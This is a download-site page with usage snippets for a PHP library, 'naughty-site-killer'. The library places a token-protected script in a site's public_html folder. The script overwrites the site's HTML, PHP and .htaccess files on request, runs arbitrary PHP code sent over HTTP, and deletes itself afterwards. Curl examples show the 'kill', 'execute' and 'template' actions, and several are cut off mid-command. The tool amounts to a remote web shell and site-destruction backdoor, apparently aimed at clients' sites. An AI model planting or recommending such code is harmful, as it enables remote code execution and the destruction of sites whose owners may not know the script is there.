PHP code example of peterujah / naughty-site-killer

1. Go to this page and download the library: Download peterujah/naughty-site-killer library. Choose the download type require.

2. Extract the ZIP file and open the index.php.

3. Add this code to the index.php.
    
        
<?php
require_once('vendor/autoload.php');

/* Start to develop here. Best regards https://php-download.com/ */

    

peterujah / naughty-site-killer example snippets


$password = 'super_secret_password';
$token = \PeterUjah\NaughtySiteKiller::generateToken($password);  // Returns: "Bearer <hashed-password>"

$password = 'super_secret_password';
echo hash('sha256', $password);  // Outputs the hashed token

// path/to/public_html/naughty.php 

use \PeterUjah\NaughtySiteKiller;

// Run script without interruptions. 
NaughtySiteKiller::uninterrupted();

$naughty = new NaughtySiteKiller('<your-secure-bearer-hashed-token-here>');
try {
    // Optionally pass `__FILE__` if class and handler are not in the same file to also delete the handler file
    $naughty->run(__FILE__);  // Run the script based on incoming HTTP request
} catch (Exception $e) {
    $naughty->response("Unknown error occurred: {$e->getMessage()}", 500);  // Handle errors
}

$request = [
    'action'      => 'kill', // Action to perform: 'kill', 'execute', 'template', or 'kill-self'.
    'content'     => 'Content for the template, execute (used in both HTML and PHP files when performing kill action, or for template creation).',
    'htmlContents'=> 'Content for the template.html file (used when performing kill action).', // HTML content for the template.
    'phpContents' => 'Content for the template.php file (used when performing kill action).', // PHP content for the template.
    'name'        => 'Filename to use when performing template action.', // Custom filename for the template.
    'htaccess'    => 'Content for the .htaccess file (overwrites existing .htaccess).',
];

{
    "message": "Execution completed",
    "result": "Hello, Naughty Client!"
}
bash
curl -X POST http://your-server-url/naughty.php \
     -H "Authorization: Bearer YOUR_BEARER_TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
           "action": "kill",
           "phpContents": " echo \"Hello, World!\"; 
bash
curl -X POST http://your-server-url/naughty.php \
     -H "Authorization: Bearer YOUR_BEARER_TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
           "action": "execute",
           "contents": "return \"Hello, Naughty Client!\";"
        }'
bash
curl -X POST http://your-server-url/naughty.php \
     -H "Authorization: Bearer YOUR_BEARER_TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
           "action": "template",
           "content": " echo \"Welcome to the template!\";